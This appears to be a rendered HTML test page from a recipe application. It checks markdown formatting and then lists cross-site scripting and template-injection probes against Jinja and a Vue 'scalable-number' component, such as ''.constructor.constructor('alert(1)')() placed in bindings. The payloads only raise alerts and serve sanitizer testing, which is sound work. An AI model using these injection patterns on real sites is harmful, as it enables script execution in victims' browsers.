<ul>
<li>unordered</li>
<li>list</li>
<li>test</li>
</ul>
<ol>
<li>ordered</li>
<li>list</li>
<li>test</li>
</ol>
<p><strong>Bold</strong><br>
<em>Italics</em></p>
<h1>Header 1</h1>
<h2>Header 2</h2>
<h3>Header 3</h3>
<h4>Header 4</h4>
<h5>Header 5</h5>
<h6>Header 6</h6>
<p><a href="https://www.google.com">Google</a></p>
<p>&gt; Quote</p>
<p><scalable-number v-bind:number="100.0" v-bind:factor="ingredient_factor"></scalable-number> </p>
<p></p>
<p>Various direct injections of script trough jinja</p>
<p><img src="x"></p>
<p><img src="x"></p>
<p><img src="x"></p>
<p><img src="x"></p>
<p><img src="x"></p>
<p> "".constructor.constructor("alert(document.domain)")() </p>
<p>Various other injections trough Jinja</p>
<ol>
<li>
<p>%c with |format filter:<br>
<img src="x"></p>
</li>
<li>
<p>vue template injection<br>
 (1).constructor.constructor("alert(2)")() </p>
</li>
<li>
<p>\x hex escape:<br>
<img src="x"></p>
</li>
<li>
<p>\u unicode escape:<br>
<img src="x"></p>
</li>
<li>
<p>% operator:<br>
<img src="x"></p>
</li>
<li>
<p>replace chain<br>
<img src="x"></p>
</li>
<li>
<p>scale() attribute breakout (hover to trigger):<br>
<scalable-number v-bind:number="0.0" v-bind:factor="ingredient_factor"></scalable-number></p>
</li>
</ol>
<p>Various injections trough scalable number</p>
<p>&lt;scalable-number v-bind:number="''.constructor.constructor('alert(1)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="(0).constructor.constructor('alert(2)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="/x/.constructor.constructor('alert(3)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="true.constructor.constructor('alert(4)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="[].constructor.constructor('alert(5)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="''.constructor.constructor('alert(6);return 1')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="''.constructor.constructor('alert(7)')()"&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="''.constructor.constructor('alert(8)')()"    v-bind:factor='1'&gt;&lt;/scalable-number&gt;<br>
&lt;scalable-number v-bind:number="&#39;&#39;.constructor.constructor(&#39;alert(9)&#39;)()"&gt;&lt;/scalable-number&gt;<br>
<scalable-number v-bind:number="1"></scalable-number><br>
<scalable-number></scalable-number><br>
&lt;scalable-number v-bind:number='1+1' v-bind:factor='1'&gt;&lt;/scalable-number&gt;</p>